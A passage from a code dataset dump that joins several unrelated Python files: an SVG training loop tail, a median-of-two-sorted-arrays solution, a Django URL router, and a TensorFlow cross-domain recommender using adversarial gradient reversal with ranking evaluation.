cum_test_loss = []\n epochs_list = []\n\n\n for epoch in range(1, epochs + 1):\n train_loss = train(epoch)\n test_loss = test(epoch)\n cum_test_loss.append(test_loss)\n cum_train_loss.append(train_loss)\n epochs_list.append(epoch)\n trainer.plot(cum_train_loss, cum_test_loss, epochs_list)\n cur_best = trainer.checkpoint(cur_best, test_loss)\n\n out_path = params[\"logdir\"] + \"/svg_train_report.json\"\n params[\"epochs\"] = epochs_list\n params[\"train_loss\"] = cum_train_loss\n params[\"test_loss\"] = cum_test_loss\n print(\"Training finished.\")\n with open(out_path, 'w') as outfile:\n json.dump(params, outfile)","sub_path":"svg_models/train_svg_lp.py","file_name":"train_svg_lp.py","file_ext":"py","file_size_in_byte":17632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"412951519","text":"\n\"\"\"\nS3:\n 1.首先获取两个长度 len1 len2\n 2. 设置两个游标 p1 p2 \n 3. 奇偶数,总数为奇数,找到一个ans 返回, 总数偶数继续找下一个ans2 返回平均\n\nT: \n 1. 判断一个为空串,此时直接返回另一个medain\n 2. while 时 防止越界,当一个越界后跳出 while, 继续寻找ans\n\n\"\"\"\nclass Solution3(object):\n def findMedianSortedArrays(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: float\n \"\"\"\n nums1_len ,nums2_len = len(nums1) , len(nums2)\n # 当其中一个为空串时 ,直接返回medain(判断总数奇偶)\n if nums1_len == 0: \n if (nums2_len)%2 == 0 :\n return (nums2[nums2_len//2-1]+nums2[nums2_len//2])/2.0\n else :\n return nums2[nums2_len//2]\n if nums2_len == 0: \n if (nums1_len)%2 == 0 :\n return (nums1[nums1_len//2-1]+nums1[nums1_len//2])/2.0\n else :\n return nums1[nums1_len//2]\n\n # target 最终找第target 个数字, 如果和为偶数个 则还需找下一个\n target = (nums1_len+nums2_len+1)//2\n i = 0\n p_1 ,p_2 = 0,0 #num1 num2 的两个游标\n # ans 记录第target 个数字, ans2 记录第target+1 个数字\n ans = 0\n ans2 = 0\n\n while i < target :\n if nums1[p_1]<=nums2[p_2]:\n ans = nums1[p_1]\n p_1+=1\n i+=1\n else:\n nums1[p_1]>nums2[p_2]\n ans = nums2[p_2]\n p_2+=1\n i+=1\n if p_1 >=nums1_len or p_2>=nums2_len :\n break\n \n # 跳出while 时,已经找到ans, \n if p_1< nums1_len and p_2 < nums2_len : # 均未越界\n ans2 = min (nums1[p_1],nums2[p_2])\n # nums1 游标越界,\n elif p_1 >=nums1_len :\n while i < target:\n ans = nums2[p_2]\n p_2+=1 \n i+=1\n ans2 = nums2[p_2]\n else :\n while i < target:\n ans = nums1[p_1]\n p_1+=1 \n i+=1\n ans2 = nums1[p_1]\n\n if (nums1_len+nums2_len)%2 == 0 :\n return (ans+ans2)/2.0\n else :\n return ans","sub_path":"wy新建文本文档.py","file_name":"wy新建文本文档.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"363385345","text":"\nfrom django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\n\nfrom .views import (\n ProjectView,\n delete_project,\n get_user,\n create_project,\n update_project,\n update_project_details\n)\n\nrouter = DefaultRouter()\nrouter.register('projects', ProjectView, basename='Project')\n\n\nurlpatterns = [\n path('', include(router.urls)),\n path('projects/delete/', delete_project),\n path('create-project/', create_project),\n path('update-project/', update_project),\n path('update-project-details/', update_project_details),\n path('user/', get_user),\n]","sub_path":"projects/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"476240866","text":"# encoding: utf-8\nfrom __future__ import division\nimport tensorflow as tf\nimport numpy as np\nfrom Dataset import Dataset\nfrom time import time\nimport os\nimport pdb\nimport math\nimport heapq\nfrom flip_gradient import flip_gradient\n\ndef get_train(u, train, num_items, num_negatives, user_input, item_input, labels):\n\tfor i in train[u]:\n\t\tuser_input.append(u)\n\t\titem_input.append(i)\n\t\tlabels.append(1)\n\t\tfor t in range(num_negatives):\n\t\t\tj = np.random.randint(num_items)\n\t\t\twhile j in train[u]:\n\t\t\t\tj = np.random.randint(num_items)\n\t\t\tuser_input.append(u)\n\t\t\titem_input.append(j)\n\t\t\tlabels.append(0)\n\treturn user_input, item_input, labels\n\ndef get_train_padding(u, train, num, num_items, num_negatives, user_input, item_input, labels):\n\tcount = 0\n\twhile(count < num):\n\t\tfor i in train[u]:\n\t\t\tcount += 1\n\t\t\tif count <= num: \n\t\t\t\tuser_input.append(u)\n\t\t\t\titem_input.append(i)\n\t\t\t\tlabels.append(1)\n\t\t\t\tfor t in range(num_negatives):\n\t\t\t\t\tj = np.random.randint(num_items)\n\t\t\t\t\twhile j in train[u]:\n\t\t\t\t\t\tj = np.random.randint(num_items)\n\t\t\t\t\tuser_input.append(u)\n\t\t\t\t\titem_input.append(j)\n\t\t\t\t\tlabels.append(0)\n\treturn user_input, item_input, labels\n\ndef get_cross_data(left_data, right_data):\n\tnew_data = []\n\tnum_data = len(left_data)\n\tfor i in range(num_data):\n\t\tnew_data.append(left_data[i])\n\t\tnew_data.append(right_data[i])\n\treturn new_data\n\ndef get_train_cutting(u, train, num, num_items, num_negatives, user_input, item_input, labels):\n\tcount = 0\n\titem_index = []\n\tfor t in range(num):\n\t\twhile True:\n\t\t\tindex = np.random.randint(len(train[u]))\n\t\t\tif index not in item_index:\n\t\t\t\titem_index.append(index)\n\t\t\t\tbreak\n\tfor i in item_index:\n\t\titem = train[u][i]\n\t\tuser_input.append(u)\n\t\titem_input.append(item)\n\t\tlabels.append(1)\n\t\tfor t in range(num_negatives):\n\t\t\tj = np.random.randint(num_items)\n\t\t\twhile j in train[u]:\n\t\t\t\tj = np.random.randint(num_items)\n\t\t\tuser_input.append(u)\n\t\t\titem_input.append(j)\n\t\t\tlabels.append(0)\n\treturn user_input, item_input, labels\n\ndef get_train_instances(source_train, source_num_items, target_train, target_num_items, num_negatives):\n\tsource_user_input, source_item_input, source_labels = [],[],[]\n\ttarget_user_input, target_item_input, target_labels = [],[],[]\n\tnum_users = len(source_train.keys())\n\tfor u in source_train.keys():\n\t\tif u in target_train.keys():\n\t\t\ts_num = len(source_train[u])\n\t\t\tt_num = len(target_train[u])\n\t\t\tif s_num > t_num:\n\t\t\t\tsource_user_input, source_item_input, source_labels = get_train_cutting(u, source_train, t_num, source_num_items, num_negatives, source_user_input, source_item_input, source_labels)\n\t\t\t\ttarget_user_input, target_item_input, target_labels = get_train(u, target_train, target_num_items, num_negatives, target_user_input, target_item_input, target_labels)\n\t\t\telif s_num < t_num:\n\t\t\t\tsource_user_input, source_item_input, source_labels = get_train_padding(u, source_train, t_num, source_num_items, num_negatives, source_user_input, source_item_input, source_labels)\n\t\t\t\ttarget_user_input, target_item_input, target_labels = get_train(u, target_train, target_num_items, num_negatives, target_user_input, target_item_input, target_labels)\n\t\t\telse:\n\t\t\t\tsource_user_input, source_item_input, source_labels = get_train(u, source_train, source_num_items, num_negatives, source_user_input, source_item_input, source_labels)\n\t\t\t\ttarget_user_input, target_item_input, target_labels = get_train(u, target_train, target_num_items, num_negatives, target_user_input, target_item_input, target_labels)\n\n\tcommon_user_input = get_cross_data(source_user_input, target_user_input)\n\n\tsource_user_label = np.zeros(len(source_user_input)).tolist()\n\ttarget_user_label = np.ones(len(target_user_input)).tolist() \n\tcommon_user_label = get_cross_data(source_user_label, target_user_label) \n\n\tsource_user_input = get_cross_data(source_user_input, source_user_input)\n\tsource_item_input = get_cross_data(source_item_input, source_item_input)\n\tsource_labels = get_cross_data(source_labels, source_labels)\n\ttarget_user_input = get_cross_data(target_user_input, target_user_input)\n\ttarget_item_input = get_cross_data(target_item_input, target_item_input)\n\ttarget_labels = get_cross_data(target_labels, target_labels)\n\n\treturn source_user_input, source_item_input, source_labels, target_user_input, target_item_input, target_labels, common_user_input, common_user_label\n\ndef get_test_instances(source_testRatings, source_testNegatives, target_testRatings, target_testNegatives):\n\tsource_user_input, source_item_input, source_negtivates = [],[],[]\n\ttarget_user_input, target_item_input, target_negtivates = [],[],[]\n\tcommon_user_input, common_user_label = [], []\n\tfor i in range(len(source_testRatings)):\n\t\tsource_user_input.append(source_testRatings[i][0])\n\t\tsource_item_input.append(source_testRatings[i][1])\n\t\tsource_negtivates.append(source_testNegatives[i])\n\t\ttarget_user_input.append(target_testRatings[i][0])\n\t\ttarget_item_input.append(target_testRatings[i][1])\n\t\ttarget_negtivates.append(target_testNegatives[i])\n\t\tcommon_user_input.append(target_testRatings[i][0])\n\treturn source_user_input, source_item_input, source_negtivates, target_user_input, target_item_input, target_negtivates, common_user_input\n\ndef get_train_instance_batch_change(count, batch_size, source_user_input_train, source_item_input_train, source_labels_train, target_user_input_train, target_item_input_train, target_labels_train, common_user_input_train, common_user_label_train):\n\tsource_user_input_batch, source_item_input_batch, source_labels_batch, target_user_input_batch, target_item_input_batch, target_labels_batch, common_user_input_batch, common_user_label_batch = [], [], [], [], [], [], [], []\n\n\tfor idx in range(batch_size):\n\t\tindex = (count*batch_size + idx) % len(source_user_input_train)\n\t\tsource_user_input_batch.append(source_user_input_train[index])\n\t\tsource_item_input_batch.append(source_item_input_train[index])\n\t\tsource_labels_batch.append([source_labels_train[index]])\n\t\ttarget_user_input_batch.append(target_user_input_train[index])\n\t\ttarget_item_input_batch.append(target_item_input_train[index])\n\t\ttarget_labels_batch.append([target_labels_train[index]])\n\t\tcommon_user_input_batch.append(common_user_input_train[index])\n\t\tcommon_user_label_batch.append([common_user_label_train[index]])\n\treturn source_user_input_batch, source_item_input_batch, source_labels_batch, target_user_input_batch, target_item_input_batch, target_labels_batch, common_user_input_batch, common_user_label_batch\n\ndef train_model():\n\tsource_users = tf.placeholder(tf.int32, shape=[None])\n\tsource_items = tf.placeholder(tf.int32, shape=[None])\n\tsource_rates = tf.placeholder(tf.float32, shape=[None, 1])\n\ttarget_users = tf.placeholder(tf.int32, shape=[None])\n\ttarget_items = tf.placeholder(tf.int32, shape=[None])\n\ttarget_rates = tf.placeholder(tf.float32, shape=[None, 1])\n\tcommon_users = tf.placeholder(tf.int32, shape=[None])\n\tcommon_label = tf.placeholder(tf.float32, shape=[None, 1])\n\tgrl_lambds = tf.placeholder(tf.float32, [])\n\tglobal_step = tf.Variable(tf.constant(0),trainable=False)\n\n\tsource_user_one_hot = tf.one_hot(indices=source_users, depth=source_num_users, name=\"source_user_one_hot\")\n\tprint(\"source_user_one_hot: \", source_user_one_hot.get_shape())\n\tsource_item_one_hot = tf.one_hot(indices=source_items, depth=source_num_items, name=\"source_item_one_hot\")\n\tprint(\"source_item_one_hot: \", source_item_one_hot.get_shape())\n\ttarget_user_one_hot = tf.one_hot(indices=target_users, depth=target_num_users, name=\"target_user_one_hot\")\n\tprint(\"target_user_one_hot: \", target_user_one_hot.get_shape())\n\ttarget_item_one_hot = tf.one_hot(indices=target_items, depth=target_num_items, name=\"target_item_one_hot\")\n\tprint(\"target_item_one_hot: \", target_item_one_hot.get_shape())\n\tcommon_user_one_hot = tf.one_hot(indices=common_users, depth=target_num_users, name=\"common_user_one_hot\")\n\tprint(\"common_user_one_hot: \", common_user_one_hot.get_shape())\n\n\tsource_user_embed = tf.layers.dense(inputs = source_user_one_hot, units = num_factor, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='source_user_embed')\n\tprint(\"source_user_embed: \", source_user_embed.get_shape())\n\n\tsource_item_embed = tf.layers.dense(inputs = source_item_one_hot, units = num_factor, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='source_item_embed')\n\tprint(\"source_item_embed: \", source_item_embed.get_shape())\n\n\ttarget_user_embed = tf.layers.dense(inputs = target_user_one_hot, units = num_factor, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='target_user_embed')\n\tprint(\"target_user_embed: \", target_user_embed.get_shape())\n\n\ttarget_item_embed = tf.layers.dense(inputs = target_item_one_hot, units = num_factor, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='target_item_embed')\n\tprint(\"target_item_embed: \", target_item_embed.get_shape())\n\n\tcommon_user_embed = tf.layers.dense(inputs = common_user_one_hot, units = factor_layers[0], activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='common_user_embed')\n\tprint(\"common_user_embed: \", common_user_embed.get_shape())\n\n\tfor idx in range(1, len(factor_layers)):\n\t\tcommon_user_embed = tf.layers.dense(inputs = common_user_embed, units = factor_layers[idx], activation = tf.nn.tanh, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='common_user_embed_layer%d' % idx)\n\t\tprint(\"common_user_embed: \", common_user_embed.get_shape())\n\n\tcommon_user_embed_grl = flip_gradient(common_user_embed, grl_lambds)\n\tcommon_predict_label = tf.layers.dense(inputs= common_user_embed_grl,\n\t\t\t\t\t\t\t\t\t\tunits = 1,\n\t\t\t\t\t\t\t\t\t\tactivation=None,\n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01),\n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate),\n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='common_predict_label')\n\tprint(\"common_predict_label: \", common_predict_label.get_shape())\n\n\tsource_atten = tf.layers.dense(inputs = source_user_embed, units = num_factor, activation = tf.nn.relu, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='source_atten')\n\tprint(\"source_atten: \", source_atten.get_shape())\n\n\tsource_atten_weight = tf.layers.dense(inputs = source_atten, units = 1, use_bias = False, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='source_atten_weight')\n\tsource_atten_weight = tf.exp(source_atten_weight)\n\tprint(\"source_atten_weight: \", source_atten_weight.get_shape())\n\n\tsource_common_atten = tf.layers.dense(inputs = common_user_embed, units = num_factor, activation = tf.nn.relu, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='source_common_atten')\n\tprint(\"source_common_atten: \", source_common_atten.get_shape())\n\n\tsource_common_atten_weight = tf.layers.dense(inputs = source_common_atten, units = 1, use_bias = False, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='source_common_atten_weight')\n\tsource_common_atten_weight = tf.exp(source_common_atten_weight)\n\tprint(\"source_common_atten_weight: \", source_common_atten_weight.get_shape())\n\n\tsource_common_weight = tf.div(source_atten_weight, source_atten_weight + source_common_atten_weight)\n\tcommon_source_weight = 1.0 - source_common_weight\n\n\tsource_user_embed_final = source_common_weight*source_user_embed + common_source_weight*common_user_embed\n\tprint(\"source_user_embed_final: \", source_user_embed_final.get_shape())\n\n\tsource_predict = tf.multiply(source_user_embed_final, source_item_embed, name='source_predict')\n\tprint(\"source_predict: \", source_predict.get_shape())\n\n\tsource_predict_rate = tf.layers.dense(inputs= source_predict,\n\t\t\t\t\t\t\t\t\t\tunits = 1,\n\t\t\t\t\t\t\t\t\t\tactivation=None,\n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01),\n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate),\n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='source_predict_rate')\n\tprint(\"source_predict_rate: \", source_predict_rate.get_shape())\n\n\ttarget_atten = tf.layers.dense(inputs = target_user_embed, units = num_factor, activation = tf.nn.relu, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='target_atten')\n\tprint(\"target_atten: \", target_atten.get_shape())\n\n\ttarget_atten_weight = tf.layers.dense(inputs = target_atten, units = 1, use_bias = False, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='target_atten_weight')\n\ttarget_atten_weight = tf.exp(target_atten_weight)\n\tprint(\"target_atten_weight: \", target_atten_weight.get_shape())\n\n\ttarget_common_atten = tf.layers.dense(inputs = common_user_embed, units = num_factor, activation = tf.nn.relu, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='target_common_atten')\n\tprint(\"target_common_atten: \", target_common_atten.get_shape())\n\n\ttarget_common_atten_weight = tf.layers.dense(inputs = target_common_atten, units = 1, use_bias = False, activation = None, \n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01), \n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='target_common_atten_weight')\n\ttarget_common_atten_weight = tf.exp(target_common_atten_weight)\n\tprint(\"target_common_atten_weight: \", target_common_atten_weight.get_shape())\n\n\ttarget_common_weight = tf.div(target_atten_weight, target_atten_weight + target_common_atten_weight)\n\tcommon_target_weight = 1.0 - target_common_weight\n\n\ttarget_user_embed_final = target_common_weight*target_user_embed + common_target_weight*common_user_embed\n\tprint(\"target_user_embed_final: \", target_user_embed_final.get_shape())\n\n\ttarget_predict = tf.multiply(target_user_embed_final, target_item_embed, name='target_predict')\n\tprint(\"target_predict: \", target_predict.get_shape())\n\n\ttarget_predict_rate = tf.layers.dense(inputs= target_predict,\n\t\t\t\t\t\t\t\t\t\tunits = 1,\n\t\t\t\t\t\t\t\t\t\tactivation=None,\n\t\t\t\t\t\t\t\t\t\tkernel_initializer=tf.truncated_normal_initializer(stddev=0.01),\n\t\t\t\t\t\t\t\t\t\tkernel_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate),\n\t\t\t\t\t\t\t\t\t\tbias_regularizer=tf.contrib.layers.l2_regularizer(regularizer_rate), \n\t\t\t\t\t\t\t\t\t\tname='target_predict_rate')\n\tprint(\"target_predict_rate: \", target_predict_rate.get_shape())\n\n\tsource_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=source_rates, logits=source_predict_rate))\n\t\n\ttarget_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=target_rates, logits=target_predict_rate))\n\n\tcommon_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=common_label, logits=common_predict_label))\n\n\ttotal_loss = source_gama * source_loss + target_loss + gan_gama * common_loss\n\n\t# l_rate = tf.train.exponential_decay(learn_rate,global_step,decay_steps,decay_rate,staircase=True)\n\toptimizer = tf.train.AdamOptimizer(learn_rate)\n\ttrain_step = optimizer.minimize(total_loss, global_step=global_step)\n\n\tinit = tf.global_variables_initializer()\n\n\twith tf.Session() as sess:\n\t\tsess.run(init)\n\n\t\thit5_list, ndcg5_list, precision5_list, mean_ap5_list, mrr5_list = [], [], [], [], []\n\t\thit10_list, ndcg10_list, precision10_list, mean_ap10_list, mrr10_list = [], [], [], [], []\n\t\thit15_list, ndcg15_list, precision15_list, mean_ap15_list, mrr15_list = [], [], [], [], []\n\t\tfor e in range(epochs):\n\t\t\tt = time()\n\t\t\tloss_total, loss_source, loss_target, loss_common = 0.0, 0.0, 0.0, 0.0\n\t\t\tcount = 0.0\n\t\t\t# get train instances\n\t\t\tsource_user_input_train, source_item_input_train, source_labels_train, target_user_input_train, target_item_input_train, target_labels_train, common_user_input_train, common_user_label_train = get_train_instances(source_trainDict, source_num_items, target_trainDict, target_num_items, num_negatives)\n\t\t\t\n\t\t\t# get test instances\n\t\t\tsource_user_input_test, source_item_input_test, source_negtivates_test, target_user_input_test, target_item_input_test, target_negtivates_test, common_user_input_test = get_test_instances(source_testRatings, source_testNegatives, target_testRatings, target_testNegatives)\n\n\t\t\ttrain_iter_num = int(len(source_user_input_train) / batch_size) + 1\n\t\t\ttotal_global_step = epochs * train_iter_num\n\t\t\tfor i in range(train_iter_num):\n\t\t\t\tsource_user_input_batch, source_item_input_batch, source_labels_batch, target_user_input_batch, target_item_input_batch, target_labels_batch, common_user_input_batch, common_user_label_batch = get_train_instance_batch_change(i, batch_size, source_user_input_train, source_item_input_train, source_labels_train, target_user_input_train, target_item_input_train, target_labels_train, common_user_input_train, common_user_label_train)\n\t\t\t\t# print(\"done\")\n\t\t\t\tglobal_step = e * train_iter_num + i + 1\n\t\t\t\tprocess = global_step * 1.0 / total_global_step\n\t\t\t\tgrl_lambda = 2.0 / (1.0 + np.exp(-gamma * process)) - 1.0\n\n\t\t\t\t_, loss, loss_s, loss_t, loss_c = sess.run([train_step, total_loss, source_loss, target_loss, common_loss] ,feed_dict={source_users: source_user_input_batch, source_items: source_item_input_batch, source_rates: source_labels_batch, target_users: target_user_input_batch, target_items: target_item_input_batch, target_rates: target_labels_batch, common_users: common_user_input_batch, common_label: common_user_label_batch, grl_lambds: grl_lambda})\n\n\t\t\t\tloss_total += loss\n\t\t\t\tloss_source += loss_s\n\t\t\t\tloss_target += loss_t\n\t\t\t\tloss_common += loss_c\n\t\t\t\tcount += 1.0\n\n\t\t\tt1 = time()\n\t\t\tprint(\"epoch%d time: %.2fs, loss_total: %.4f, loss_source: %.4f, loss_target: %.4f, loss_common: %.4f\" % (e, t1 - t, loss_total/count, loss_source/count, loss_target/count, loss_common/count))\n\t\t\thits5, ndcgs5, precisions5, mean_aps5, mrrs5, hits10, ndcgs10, precisions10, mean_aps10, mrrs10, hits15, ndcgs15, precisions15, mean_aps15, mrrs15 = eval_model(source_users, source_items, target_users, target_items, common_users, target_predict_rate, sess, source_user_input_test, source_item_input_test, source_negtivates_test, target_user_input_test, target_item_input_test, target_negtivates_test, common_user_input_test, topK_list)\n\t\t\thitm5, ndcgm5, precisionm5, mean_apm5, mrrm5 = np.mean(hits5), np.mean(ndcgs5), np.mean(precisions5), np.mean(mean_aps5), np.mean(mrrs5)\n\t\t\thitm10, ndcgm10, precisionm10, mean_apm10, mrrm10 = np.mean(hits10), np.mean(ndcgs10), np.mean(precisions10), np.mean(mean_aps10), np.mean(mrrs10)\n\t\t\thitm15, ndcgm15, precisionm15, mean_apm15, mrrm15 = np.mean(hits15), np.mean(ndcgs15), np.mean(precisions15), np.mean(mean_aps15), np.mean(mrrs15)\n\t\t\tprint(\"\\tK=5, HR: %.4f, NDCG: %.4f, Precision: %.4f, MAP: %.4f, MRR: %.4f\" % (hitm5, ndcgm5, precisionm5, mean_apm5, mrrm5))\n\t\t\tprint(\"\\tK=10, HR: %.4f, NDCG: %.4f, Precision: %.4f, MAP: %.4f, MRR: %.4f\" % (hitm10, ndcgm10, precisionm10, mean_apm10, mrrm10))\n\t\t\tprint(\"\\tK=15, HR: %.4f, NDCG: %.4f, Precision: %.4f, MAP: %.4f, MRR: %.4f, time: %.2fs\" % (hitm15, ndcgm15, precisionm15, mean_apm15, mrrm15, time()-t1))\n\t\t\thit5_list.append(hitm5), ndcg5_list.append(ndcgm5), precision5_list.append(precisionm5), mean_ap5_list.append(mean_apm5), mrr5_list.append(mrrm5)\n\t\t\thit10_list.append(hitm10), ndcg10_list.append(ndcgm10), precision10_list.append(precisionm10), mean_ap10_list.append(mean_apm10), mrr10_list.append(mrrm10)\n\t\t\thit15_list.append(hitm15), ndcg15_list.append(ndcgm15), precision15_list.append(precisionm15), mean_ap15_list.append(mean_apm15), mrr15_list.append(mrrm15)\n\t\tprint(\"End. K=5, Best_HR: %.4f, Best_NDCG: %.4f, Best_Precision: %.4f, Best_MAP: %.4f, Best_MRR: %.4f\" % (max(hit5_list), max(ndcg5_list), max(precision5_list), max(mean_ap5_list), max(mrr5_list)))\n\t\tprint(\"End. K=10, Best_HR: %.4f, Best_NDCG: %.4f, Best_Precision: %.4f, Best_MAP: %.4f, Best_MRR: %.4f\" % (max(hit10_list), max(ndcg10_list), max(precision10_list), max(mean_ap10_list), max(mrr10_list)))\n\t\tprint(\"End. K=15, Best_HR: %.4f, Best_NDCG: %.4f, Best_Precision: %.4f, Best_MAP: %.4f, Best_MRR: %.4f\" % (max(hit15_list), max(ndcg15_list), max(precision15_list), max(mean_ap15_list), max(mrr15_list)))\n\ndef eval_model(source_users, source_items, target_users, target_items, common_users, target_predict_rate, sess, source_user_input_test, source_item_input_test, source_negtivates_test, target_user_input_test, target_item_input_test, target_negtivates_test, common_user_input_test, topK_list):\n\thits5, ndcgs5, precisions5, mean_aps5, mrrs5 = [], [], [], [], []\n\thits10, ndcgs10, precisions10, mean_aps10, mrrs10 = [], [], [], [], []\n\thits15, ndcgs15, precisions15, mean_aps15, mrrs15 = [], [], [], [], []\n\tfor idx in range(len(target_user_input_test)):\n\t\titems = target_negtivates_test[idx]\n\t\tuser = target_user_input_test[idx]\n\t\tgtItem = target_item_input_test[idx]\n\t\titems.append(gtItem)\n\t\tusers = [user] * len(items)\n\t\tpredict = sess.run(target_predict_rate, feed_dict={target_users: users, target_items: items, common_users: users})\n\t\tpredictions = predict[:, 0]\n\t\t# print(\"precisions: \", precisions)\n\t\tmap_item_score = {}\n\t\tfor i in range(len(items)):\n\t\t\titem = items[i]\n\t\t\tmap_item_score[item] = predictions[i]\n\t\titems.pop()\n\n\t\ttotal_ranklist = heapq.nlargest(len(items), map_item_score, key=map_item_score.get)\n\t\tfor k in topK_list:\n\t\t\tif k == 5:\n\t\t\t\thits5, ndcgs5, precisions5, mean_aps5, mrrs5 = eval_rank(hits5, ndcgs5, precisions5, mean_aps5, mrrs5, k, map_item_score, gtItem)\n\t\t\tif k == 10:\n\t\t\t\thits10, ndcgs10, precisions10, mean_aps10, mrrs10 = eval_rank(hits10, 